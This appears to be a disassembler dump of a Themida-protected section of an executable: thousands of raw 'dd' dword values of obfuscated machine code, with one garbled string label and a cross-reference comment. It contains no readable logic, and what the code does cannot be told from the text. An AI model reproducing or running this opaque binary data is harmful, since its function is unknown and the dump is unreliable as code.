		dd 1Dh,	8DC35747h, 331EB4D7h, 602FB09Fh, 4ABB66BEh, 4FF7815Ah
		dd 8B752B75h, 72CC985h,	0B58B6006h, 6071C6Dh, 2EDD9D8Bh
		dd 89610607h, 0C486h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 858E5A49h, 0FE302B3h
		dd 686h, 1DB58900h, 0F906072Fh,	1B41958Bh, 6A0607h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 7804D5C3h, 76E8F3A4h, 0BB664C5Dh, 0C2834D7Dh, 50006A04h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 29C6CDDFh, 50890730h, 0BE820h, 0E4210000h, 3C1C6F2Dh
		dd 0E9C702EFh, 89F78029h, 0ED858D5Fh, 6A060AC7h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 84F6C350h, 96B73A9Dh, 7FE8B26Dh, 16FD9D89h, 86890607h
		dd 0B8h, 0BE9h,	0A70EEA00h, 0AABD9910h,	85CFA91Ch, 8FB7006Ah
		dd 0B372B5FFh, 6A060Ah,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 4499D9C3h, 0FFEF5FE7h, 729FD95h
		dd 0B99D8B06h, 5006072Fh, 0F88B6656h, 2434895Fh, 15C98D29h
		dd 0B5890607h, 6071861h, 0B372B5FFh, 8B51060Ah,	71B95BDh
		dd 95FF5F06h, 6071AA5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 94C35242h, 22F9C858h,	0D5587794h, 0F41B33Ch
		dd 0E851FEB7h, 14h, 0F9F24CB3h,	0A8CE3FD4h, 0D3F9CB93h
		dd 0F1F8C5A2h, 0A4665B07h, 7D1B589h, 5F5B0607h,	8ADBD83h
		dd 0F000607h, 6B84h, 95296000h,	6072265h, 17830Fh, 11E80000h
		dd 1A000000h, 0E2FC07FCh, 0B5FFDB6Fh, 0B469DADDh, 0AC9ACFB8h
		dd 66506158h, 3489F88Bh, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 5C64ACA0h, 14E92Bh, 403C0000h
		dd 53D318D6h, 2FFD8D2Fh, 0C5670197h, 1607866Bh,	9D8B0F6Fh
		dd 6073011h, 0B372B5FFh, 9D89060Ah, 607152Dh, 260595FFh
		dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 51AFB0C3h, 89EB7B4Eh, 723A9B5h, 72B5FF06h
		dd 6A060AB3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 120C351h, 72F29B5h, 9800F06h
		dd 0F000000h, 389h, 0DBBF0F00h,	301DBD8Bh, 95FF0607h, 6071DF1h
		dd 0B619D8Bh, 0BD830607h, 60703B1h, 50840F02h, 8B000000h
		dd 7074985h, 57006A06h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 38B3FB58h, 0F98B8312h, 6A0000C6h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 4AF9C357h, 0A9958955h, 0C706071Eh, 70F4985h
		dd 6, 2DBF6600h, 0F3E3E9C7h, 6AFFFFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0C18BD1C3h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0B0C35545h
		dd 0C7BF6650h, 95895FC1h, 60720CDh, 1F19858Dh, 6A0607h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 9D328EC3h, 0FE8B66C8h, 50AAB390h, 6090DE8Bh,	14E8h
		dd 0B5FFDB00h, 0B469DADDh, 0AC9ACFB8h, 9DB80286h, 39EC4A46h
		dd 359D89B4h, 5E060715h, 13E8h,	6970FA00h, 3A34E422h, 77858A78h
		dd 7BEF2BE3h, 0C96F809Ah, 0CEC68166h, 161586Fh,	717A9BDh
		dd 3006A06h, 712D5BDh, 6A006A06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0E075C356h
		dd 5B156357h, 0DB81F05Ch, 50877844h, 0FDEB8166h, 62858D9Dh
		dd 8B060BFEh, 72139BDh,	5C08306h, 53BF09BFh
		dd 8F0F5026h, 19h, 8B665250h, 0E8310FF9h, 0Ah, 49C7A275h
		dd 0A5ACD2Bh, 5A5F0D50h, 24048958h, 6ADE8Bh, 0D3A5BB66h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0DBC189C3h, 0E2D93419h, 95FF536Ah, 6071BCDh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 3CC35141h
		dd 5DB623F1h, 0B78D8DF9h, 6A060AA5h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0A385C357h
		dd 46A0D618h, 59C78017h, 0AE8D1FFh, 0F1000000h,	349BBE9Ah
		dd 6B1316E3h, 5B5B50A4h, 1995BD83h, 0F010607h, 7285h, 0E8026A00h
		dd 0Eh,	445E838h, 43AD9E68h, 8E7539DFh,	0DB8114EEh, 5FBD7F5h
		dd 850F905Fh, 0
aPflRj		db 'Pfސj',0
		db 51h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 8B7B893Ch, 71875BDh,	0FD95FF06h, 6A060729h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 440AC352h, 0E94F519Eh, 0D6Dh, 0E8h, 0ED815D00h, 60BFE6Ch
		dd 6A2DB3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0EB4883C3h, 1F018D01h, 81660607h,	8DBCD6F7h
		dd 0A910A85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 45E2C20Dh, 0A33CB076h, 68E0Fh, 95290000h
		dd 6072B55h, 0B830F50h,	50000000h, 0BF310F52h, 43BDE165h
		dd 489585Ah, 0EF815024h, 1EC868A5h, 35FF645Fh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E0C35242h
		dd 0C45D7E9Dh, 64A1A795h, 2589h, 860F0000h, 0
		dd 0FA585FFh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 97572C3h, 371EB10h, 718EDBDh, 6860F06h
		dd 31000000h, 71159B5h,	6AFF6A06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0CDA6C352h
		dd 5250A9A7h, 7E860h, 0D1610000h, 61E2065Ah, 5E9A1h, 0CD360000h
		dd 5A9AB237h, 61F98B66h, 2215B5FFh, 6A0607h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 255752C3h
		dd 9E8C01Dh, 12000000h,	5CD7E557h, 0BA334BECh, 30FDBD89h
		dd 0FF5B0607h, 7303595h, 0F4E906h, 9D8B0000h, 6071551h
		dd 0BF6600B0h, 0BF5666C8h, 3CD89282h, 0E970E65Bh, 0Fh
		dd 0D2088555h, 8F614849h, 6126A734h, 0E455DBFDh, 0F613C71h
		dd 0C183h, 6860F00h, 8B000000h,	71E9D9Dh, 0C8B60F06h, 232DB589h
		dd 6BA0607h, 8B000000h,	4E8C1C1h, 618589h, 0F7660607h
		dd 0C59D33E2h, 2B060718h, 0FE8B66C8h, 0ABBBD18Bh, 0E949019Bh
		dd 82h,	2B7D9509h, 858B0607h, 44004E49h, 8007C083h, 7E9FFDFh
		dd 0D6000000h, 372F1D9Ah, 0C0832124h, 0CD950900h, 3B06071Ch
		dd 23830FD0h, 0F000000h, 687h, 0C5BD8B00h, 0E906072Bh
		dd 42h,	38C0F60h, 66000000h, 6060C18Bh,	0CA8B6661h, 8D8B6161h
		dd 0FFFFFFFFh, 83DA8B66h, 840F01E1h, 1Eh, 0C84CBB66h, 0FFFFA583h
		dd 89FEFFFFh, 71D91B5h,	49958906h, 8B44004Eh, 0E9FBh, 0B58D0000h
		dd 60B7E72h, 2EE9BD09h,	6A0607h, 7E8h, 4ED10D00h, 0BDC699FBh
		dd 5FFBBF0Fh, 320195FFh, 0E8BB0607h, 0B92DC136h, 0D8Ah
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0A5C35242h
		dd 614B2A4Bh, 0FCE183A8h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 3AC35141h, 1D92E5B8h,	9D8B5F97h, 6071E25h
		dd 68F0Fh, 95890000h, 6071CC9h,	0AD39BF66h, 53006AFCh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 704B3B96h, 0B8h, 0D22BFC00h,	33ADDE8Bh, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0E93EB9C3h, 9, 60A957F6h,	0E382E5A8h, 0FFD8A04h
		dd 68Ah, 0C19D8B00h, 0D06071Bh,	88h, 1DDB8166h,	41958B5Ch
		dd 0F06071Bh, 68Bh, 0B59D8B00h,	8B060732h, 706058Dh, 8B50FC06h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0EA4A02BBh
		dd 0F98B6640h, 0BD1BD83h, 0F000607h, 4E84h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 7C6E445Ah, 541EEF28h, 0B8h, 0B48D8D00h, 0F06074Dh, 980h
		dd 61606000h, 918D3EBEh, 0E1FF616Eh, 9899589h, 850F0607h
		dd 3, 83B1E780h, 70069BDh, 840F0006h, 4D2h, 83ACCF80h
		dd 70069BDh, 840F0106h,	4DDh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0B8C35141h,	0D1B11571h, 69BD83h
		dd 0F030607h, 47A86h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0AA1E2C6h, 8BDF62F5h
		dd 71725BDh, 6A6006h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0F6DFDAC3h, 0D3560A58h, 0FFBF0F11h
		dd 60D98C66h, 22E5BD09h, 7E90607h, 0ED000000h, 3F79DE17h
		dd 80616CDDh, 6A04E1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 690C39C3h, 0DC668326h, 0EE8h, 0A8871A00h
		dd 9D7A02h, 61EBE039h, 294FD8C8h, 72A3D85h, 0C90A5B06h
		dd 1CE840Fh, 0B70F0000h, 6D858BD9h, 6A060730h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0DF5AC350h, 34538A76h, 0F30C2DBh, 118Fh, 0BE800h, 0E83E0000h
		dd 12F9581Bh, 7C94919Ah, 85335B8Eh, 6073305h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0C5C35242h, 5198C2B3h
		dd 600C3661h, 0E3D1BA66h, 89615B53h, 730099Dh, 60509006h
		dd 5E616050h, 14E9h, 809A7B00h,	48DCC96Fh, 0F4A0343Ah
		dd 948A9118h, 0A5340DFh, 6090615Fh, 9E8h, 0A5005900h, 60ED5502h
		dd 14E9094Ch, 62000000h, 0CBCBD5D1h, 86D70FB1h,	9C3E22CBh
		dd 0DA7FD12Ch, 5905FD93h, 0CE960h, 0ED960000h, 623DAB63h
		dd 0E2DD4D17h, 6161E886h, 0D98B006Ah, 4E8h, 1F03FF00h
		dd 0F525000h, 50585A31h, 448BDA8Bh, 60560424h, 11E9h, 0E4876600h
		dd 37CB913Bh, 0D0A59EF0h, 26165CC1h, 5B613262h,	6660008Bh
		dd 0E8572BBBh, 7, 0E542447Eh, 56A2DBD4h, 89615F5Eh, 0E8042444h
		dd 13h,	6AFC4FC8h, 5EAF97ADh, 1E142DB3h, 6632E193h, 60C5692Dh
		dd 880Fh, 0A4B50000h, 6A585B61h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0F1F8C357h,	0EF815B07h
		dd 6F965979h, 0E423E781h, 95FF6DE0h, 6071B91h, 78D78166h
		dd 897BB7B2h, 0AB37285h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 52D54EA3h, 38F0Fh, 0EB800000h
		dd 18BE95Dh, 8B660000h,	0CE953FBh, 0EE000000h, 7D5FC523h
		dd 0C47159A7h, 5FEAE7A9h, 0B36A858Bh, 0BE8060Ah, 0D7000000h
		dd 88571F87h, 7FBA8FC7h, 0C75F354Dh, 1800h, 0A1BD8B00h
		dd 8B06072Ch, 0AB36EB5h, 0EB816606h, 895741CDh,	71E9D9Dh
		dd 858B5F06h, 6071579h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 62C35040h, 6A0689F5h,	3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 9CE9C351h
		dd 357670C1h, 33699ECCh, 723E99Dh, 0DF816606h, 858BD3BEh
		dd 607306Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0F7C35343h, 89A42F34h, 70B9D95h, 4468906h, 17F19D8Bh
		dd 0B3960607h, 11E9509Eh, 0ED000000h, 1E185B11h, 3A83DA0Fh
		dd 494B9DDh, 8C0252D9h,	55006A96h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 2E1D1370h, 0FF37BBA3h
		dd 0AB36AB5h, 6860F06h,	89000000h, 70A919Dh, 81436806h
		dd 8B6629A9h, 243481FBh, 29B682BCh, 8DFABF0Fh, 0AB37285h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 788FF5E9h, 0DA00F781h, 66502EDAh, 489FE8Bh
		dd 0EE95724h, 0D7000000h, 413D1890h, 59805476h,	57C9A8B4h
		dd 95FF5F02h, 6071B91h,	29DAB70Fh, 70C7D8Dh, 29606106h
		dd 72EB585h, 14E906h, 54320000h, 45D0E92Ch, 0F842497Ch
		dd 2FAC39B4h, 0B2FFE26Ch, 0C761AD52h, 7006985h,	306h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0F39310C1h, 5E4074A9h, 72BD831Eh, 60AB3h, 2D840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 27E92EC3h, 0E9000000h, 7
		dd 0F683364Eh, 5007CE64h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 0DD8AC08Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 94C35141h, 948569EDh, 0BD8380C0h
		dd 6070069h, 0D5850F03h, 6A000003h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0BBB5C350h
		dd 9AE64B91h, 0BD89090Dh, 6070005h, 0B372BD83h,	0F00060Ah
		dd 39F84h, 0D3816600h, 0B5FFE722h, 60AB372h, 95FFF98Bh
		dd 6071545h, 2F759529h,	0C7810607h, 63F04DB8h, 0B366B58Bh
		dd 8D29060Ah, 6071AF1h,	106C7h,	6A0001h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0DDAB43C3h
		dd 0A9E947A0h, 8B793252h, 348950DEh, 51006A24h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 21EB2073h
		dd 8B7ED2E7h, 71255BDh,	0EF806006h, 14E95Eh, 97A50000h
		dd 0FD928577h, 28A0F4Eh, 364C9794h, 390D4AC1h, 0FF619D2Bh
		dd 0AB372B5h, 81666006h, 8A98ACF7h, 95FF61E2h, 6070911h
		dd 0EE9h, 0D0127F00h, 283044D4h, 0EF2559C3h, 8B6E5095h
		dd 0AB366B5h, 1BD8906h,	33060709h, 7020DBDh, 0C9858B06h
		dd 6606072Ch, 890E2ABFh, 0C486h, 6820F00h, 8B000000h, 733099Dh
		dd 41958B06h, 8906071Bh, 72B19BDh, 8E806h, 0FAB40000h
		dd 163D370Eh, 8B6654C5h, 0C2835BD9h, 52006A04h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 9D8B533Dh
		dd 6070A91h, 4840F5Bh, 66000000h, 0B5515BFh, 71891BDh
		dd 20508906h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ch,	0ACC35040h, 425ECD6h, 2189D248h, 6840Fh, 9D8B0000h
		dd 60721D9h, 0C7ED858Dh, 9D2B060Ah, 607322Dh, 0B88689h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 490D5AC3h, 0B9B2D381h, 6A29A1h, 21218D29h
		dd 0B5FF0607h, 60AB372h, 0FFFBB70Fh, 729FD95h, 5250F806h
		dd 5B73B757h, 2434895Fh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0F7C35343h, 0C670F1ABh, 0BF662E96h, 0BD3348FAh
		dd 607233Dh, 0B372B5FFh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0FF7C1C3h, 8Bh, 0A595FF00h
		dd 0BF06071Ah, 2DDEE9F1h, 8ADBD83h, 0F000607h, 5884h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0CF52D4F6h, 2B9936B4h, 12E9h, 0CDEDB000h, 7EF96CDCh
		dd 0D605DA81h, 74B5240Bh, 96F35A0Ch, 66C38B60h,	61FECCBAh
		dd 8B666050h, 0F5250D3h, 5A595231h, 89966158h, 71E15BDh
		dd 72B5FF06h, 0E9060AB3h, 0Fh, 0A2C70555h, 78121731h, 0F353D732h
		dd 56FB6DE9h, 303DBD8Bh, 0FF5B0607h, 7260595h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0F0BF5831h, 8806A096h, 0B5FFBD2Ch, 60AB372h,	81585760h
		dd 99D0B0C9h, 95FF616Eh, 6071DF1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0DC35545h, 0B1BD8324h, 2060703h
		dd 66840Fh, 0BD8B0000h,	6070131h, 13E9h, 55FA4500h, 0B167FD15h
		dd 75D18293h, 0A7020FB6h, 0B1D83A94h, 749858Bh,	6A0607h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0F4DE18C3h, 968ACBAEh, 812820BAh, 20DFB4CFh,	0C62Ch
		dd 0E9D98A60h, 0Bh, 75F0340Ah, 13FBF88Fh, 615DC9FEh, 0F4985C7h
		dd 607h, 0BD090000h, 6072BD1h, 0FFF3D4E9h, 52006AFFh, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 80906C25h, 0C18B47DBh, 9E8h,	0DD7DCD00h, 60677612h
		dd 11E9D746h, 47000000h, 102BD665h, 524EF65Dh, 9CD725D1h
		dd 452C7077h, 19858D5Bh, 0FC06071Fh, 50605390h,	5A310F52h
		dd 14E858h, 7B2B0000h, 0D7CB71D6h, 743C5372h, 0F6FC5B75h
		dd 0AAC45CEFh, 6158FF1Dh, 5250505Bh, 0FFE8B66h,	5AFE8B31h
		dd 6A9058h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 2151D8C3h, 958968CDh, 6071D45h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0D635A0C3h, 80BCB8BBh, 6A11CFh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 5FC35646h, 0BD8B308Eh, 6072D31h
		dd 0E4A858Dh, 6A060Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 81665DC3h, 83DDE1D3h, 9D2905C0h
		dd 6072F79h, 89FB8B50h,	6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0E1DECFC3h, 6A1397h
		dd 6ADEB70Fh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 64D3630h,	5E8B01D3h, 0CB8166F7h
		dd 95FF6657h, 6071BCDh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 1FC35141h, 9AEBA35Eh,	5EF35210h, 0A5B78D8Dh
		dd 6A060Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 7463E8C3h, 0FCE283C2h, 1659BD8Bh,	860F0607h
		dd 6, 79BD29h, 0D1FF0607h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0D5C35343h, 63CB817Bh
dword_58C130	dd 8373B957h, 71995BDh,	850F0106h, 0AFh, 32058D89h, 26A0607h
					; DATA XREF: Themida_:0055010Eo
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0EDC35545h
		dd 0EE88Ch, 0D70000h, 62ED2FB3h, 99F22C67h, 0D505F32Fh
		dd 10E8h, 4D570A00h, 0D988099Dh, 0D7FB2C9Eh, 0E26888E2h
		dd 0E38166A3h, 5F5F0755h, 2DA5B509h, 50500607h,	11E952h
		dd 19090000h, 6B043E5Ah, 37227A7h, 8F515E1Dh, 0F4728A4h
		dd 61605731h, 89585A5Fh, 0BD8B2404h, 6070195h, 191D9D8Bh
		dd 95FF0607h, 60729FDh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0B6C35141h, 0E9FA8B17h, 0DA5h, 0E8h
		dd 0ED815D00h, 60C0E54h, 890Fh,	9D330000h, 6073069h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 4C35141h, 0D780A443h
		dd 0A858D6Dh, 0B7060A91h, 90509013h, 6870Fh, 890F0000h
		dd 0
		dd 35FF64h, 66000000h, 0FC0A8EBBh, 258964h, 0F000000h
		dd 85FFFBBFh, 6070FA5h,	820Fh, 0FF6A0000h, 2DC5B509h, 0B5FF0607h
		dd 6070BA5h, 1FD8509h, 0BD230607h, 6072315h, 303595FFh
		dd 0BE90607h, 89000001h, 708199Dh, 8B00B006h, 70455BDh
		dd 8970E606h, 71C95BDh,	0E971E406h, 10h, 67209FE3h, 0E45AFFFAh
		dd 0BF28ACh, 0DEA6F8Bh,	830F613Ch, 0D6h, 22D19D89h, 0B60F0607h
		dd 2870FC8h, 57000000h,	6BA5Fh,	85890000h, 60722BDh, 1F1D8529h
		dd 0C18B0607h, 0C3816651h, 0C15FD32Dh, 0C6B704E8h, 60E2F766h
		dd 2B61F98Bh, 89D18BC8h, 715C995h, 90E906h, 66570000h
		dd 5BA153BBh, 4C4C858Bh, 9D03505Fh, 6071E7Dh, 8307C083h
		dd 0EE800C0h, 0A7000000h, 89D4C335h, 7D15D5E3h,	0CC57E55h
		dd 5D858955h, 5F06071Eh, 830FD03Bh, 0Fh, 56D38166h, 4CE967h
		dd 81660000h, 8BF2CAE7h, 0FFFFFF8Dh, 87C781FFh,	836B73CCh
		dd 840F01E1h, 32h, 0E880Fh, 0F600000h, 8Ah, 49858900h
		dd 6106070Ah, 0FFFFA583h, 8BFEFFFFh, 716D5BDh, 4C958906h
		dd 89505F4Ch, 72C9DBDh,	0E906h,	0B58D0000h, 60B8BFCh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 85C35646h, 67AB1D3Eh
		dd 3F7E6F5Fh, 0D9B70FC8h, 9D8B006Ah, 607094Dh, 320195FFh
		dd 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 953140C3h, 6073145h, 111AB9h, 9E900h, 0ACAB0000h
		dd 4C98D741h, 66AACCA1h, 8C1CEF81h, 89FCE183h, 71C0DB5h
		dd 8D9D8B06h, 0FC06070Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 0BDC35545h, 8153F022h, 99F5ABF7h, 51C02B63h
		dd 0D4BB665Bh, 6AD22B80h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 7BEC356h, 0C233AD1Eh
		dd 0D003E8D1h, 7504E983h, 50006AF4h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0BDD876BDh
		dd 0EEB39153h, 9D298327h, 6071E49h, 3753BB66h, 880Dh, 8BDF8B00h
		dd 71B4195h, 8F0F5606h,	6, 8F59D01h, 8B5F0607h,	706058Dh
		dd 0F19D8B06h, 5006072Bh, 188BC28Bh, 188BC103h,	0E8D1C18Bh
		dd 188BC203h, 5DBD8B58h, 6A060717h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0BF0FC353h
		dd 77C22E4Eh, 2B258D29h, 0BD830607h, 6070BD1h, 59840F00h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 7D16C350h, 0BB79D298h,	6C8967C5h
		dd 0F2BCB80h, 582h, 0D67EBF00h,	0B831DBh, 0F000000h, 684h
		dd 5D9D2300h, 0F06071Fh, 8D8DFFBFh, 6074DB4h, 6B13BB66h
		dd 9D8BE1FFh, 6071F3Dh,	69BD83h, 0F000607h, 41F84h, 6850F00h
		dd 8B000000h, 7301D9Dh,	69BD8306h, 1060700h, 421840Fh
		dd 0BE90000h, 22000000h, 134418Bh, 7C53B266h, 0BD8378DFh
		dd 6070069h, 0CE860F03h, 6A000003h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 60AAC351h
		dd 66DEBF0Fh, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 808933C3h, 0E1805C44h, 57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 58949DA6h, 0C90AD7B7h, 0DA840Fh, 10E90000h, 0AD000000h
		dd 26D8F9EEh, 984CA1CCh, 0C7DD10ABh, 8B4F3B0Ah,	7306D85h
		dd 0EFBF6606h, 5853329h, 57060733h, 1B759D89h, 905B0607h
		dd 6E9h, 1D2F6300h, 50634CD2h, 90FA8B66h, 2F61BD8Bh, 6A0607h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 9BC35545h
		dd 682C7495h, 305C80B8h, 0D08B6660h, 24348161h,	30438347h
		dd 8E9h, 0AC27B100h, 568778FDh,	9195FF56h, 8906071Bh, 709299Dh
		dd 72858906h, 6A060AB3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 2B00C352h, 719999Dh
		dd 22AE906h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 549449C3h, 0B36A858Bh, 6A060Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 66EAE2C3h, 0C7DF8Bh,	18h, 6B9BD89h, 0B58B0607h, 60AB36Eh
		dd 79858BF5h, 6A060715h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0C764C357h,	8B66386Bh
		dd 6A0689D9h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 7330C351h, 11E9h, 4A89AD00h, 2CDB2E45h
		dd 444D5C06h, 1B7A38CBh, 8529F0C2h, 6071FD1h, 306D858Bh
		dd 0DFB30607h, 0C2D8529h, 46890607h, 50006A04h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0E12A390Ah
		dd 2363E52Bh, 5072B396h, 0CE9h,	48BF2000h, 0D1EE687h, 183CD745h
		dd 6A9649h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0F89915C3h, 2B25B529h, 0B5FF0607h, 60AB36Ah
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0AC35141h
		dd 2B84343Eh, 48616B3Eh, 8B29EF80h, 21D068FBh, 0FE8BA07Dh
		dd 2F240481h, 6A5FA1E2h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 6693C350h, 8D5F95ECh
		dd 6D753E2Dh, 0CE9h, 0FCEDC00h,	14F6F30Ah, 0C7CDC629h
		dd 0A9CB80BAh, 0B372858Dh, 13E9060Ah, 0FA000000h, 0FBC2BC00h
		dd 0EDDF979Dh, 68E5CE52h, 0E451A599h, 5050625Dh, 0FE852h
		dd 56B60000h, 0D7A8E2B7h, 0B57BE0A9h, 0BBBC2781h, 7E93Eh
		dd 8ECA0000h, 0E575A6B5h, 310F5BCDh, 310F5250h,	0FE9h
